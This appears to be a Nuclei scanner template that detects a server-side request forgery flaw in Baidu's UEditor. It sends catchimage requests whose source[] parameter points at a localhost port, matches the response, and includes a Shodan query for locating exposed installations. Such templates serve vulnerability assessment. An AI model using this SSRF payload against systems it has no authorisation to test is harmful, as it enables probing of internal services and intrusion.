ueditor-ssrf: UEditor - Server Side Request Forgery

id: ueditor-ssrf

info:
  name: UEditor - Server Side Request Forgery
  author: pwnhxl
  severity: medium
  description: UEditor contains an Server Side Request Forgery vulnerability.
  reference:
    - https://xz.aliyun.com/t/4154
    - https://www.seebug.org/vuldb/ssvid-97311
  classification:
    cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: baidu
    product: ueditor
    shodan-query: html:"UEditor"
  tags: ueditor,ssrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
      - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u94fe\u63a5\u4e0d\u53ef\u7528'
          - '"original":'
          - '"SUCCESS"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009f1e679587bb1444df9e94239ecba0b82c67eb4df4f4317aa2db77bd9b4c3c4e0221009c187c809a19351e4d9a787dc35f5eecf10db7a93ad5846fb538ea6d9952054e:922c64590222798bb761d5b6d8e72950